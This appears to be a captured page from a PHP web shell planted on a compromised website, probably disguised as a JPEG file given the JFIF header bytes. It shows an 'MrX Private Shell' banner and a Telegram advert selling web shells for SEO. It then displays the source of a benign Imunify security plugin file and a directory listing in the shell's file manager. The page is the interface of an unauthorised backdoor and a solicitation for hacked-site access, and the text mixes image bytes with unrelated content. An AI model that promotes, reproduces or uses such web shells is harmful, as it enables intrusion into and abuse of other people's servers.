����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Copyright (с) Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2025 All Rights Reserved
*
* Licensed under CLOUD LINUX LICENSE AGREEMENT
* https://www.cloudlinux.com/legal/
*/
namespace CloudLinux\Imunify\App;
/**
* Access manager.
*/
class AccessManager {
/**
* Checks if current user has admin capabilities
*
* @return bool
*/
public function isUserAdmin() {
return current_user_can( 'manage_options' );
}
/**
* Checks if current user can upgrade their Imunify product.
*
* User is allowed to upgrade if they don't already have Imunify 360 and the number of users
* (in the license object) is one.
*
* @param DataStore $dataStore Data store instance containing scan data.
*
* @return bool
*
* @since 2.0.0
*/
public function canUserUpgrade( DataStore $dataStore ) {
if ( ! $this->isUserAdmin() ) {
return false;
}
if ( self::isProductType( $dataStore, 'imunify360' ) ) {
return false;
}
$scanData = $dataStore->getScanData();
if ( ! $scanData ) {
return false;
}
$license = $scanData->getLicense();
if ( ! $license ) {
return false;
}
if ( ! isset( $license['user_count'] ) || ! is_numeric( $license['user_count'] ) ) {
return false;
}
return ( 1 === $license['user_count'] );
}
/**
* Checks if the product type matches the given product type.
*
* @param DataStore $dataStore Data store instance containing scan data.
* @param string $productType Product type to check against, e.g., 'imunify360', 'imunifyav'.
*
* @return bool True if the product type matches, false otherwise.
*
* @since 2.0.0
*/
public static function isProductType( $dataStore, $productType ) {
if ( ! $dataStore->isDataAvailable() ) {
return false;
}
$scanData = $dataStore->getScanData();
if ( ! $scanData ) {
return false;
}
$license = $scanData->getLicense();
if ( ! $license ) {
return false;
}
return isset( $license['license_type'] ) && strtolower( $license['license_type'] ) === $productType;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Api | Folder | 0755 |
|
|
| Defender | Folder | 0755 |
|
|
| Exception | Folder | 0755 |
|
|
| Helpers | Folder | 0755 |
|
|
| Model | Folder | 0755 |
|
|
| Views | Folder | 0755 |
|
|
| AccessManager.php | File | 1.99 KB | 0644 |
|
| AssetLoader.php | File | 1.7 KB | 0644 |
|
| DataStore.php | File | 12.55 KB | 0644 |
|
| Debug.php | File | 13.63 KB | 0644 |
|
| Environment.php | File | 1.67 KB | 0644 |
|
| Plugin.php | File | 4.7 KB | 0644 |
|
| PluginUpdateManager.php | File | 1.67 KB | 0644 |
|
| View.php | File | 999 B | 0644 |
|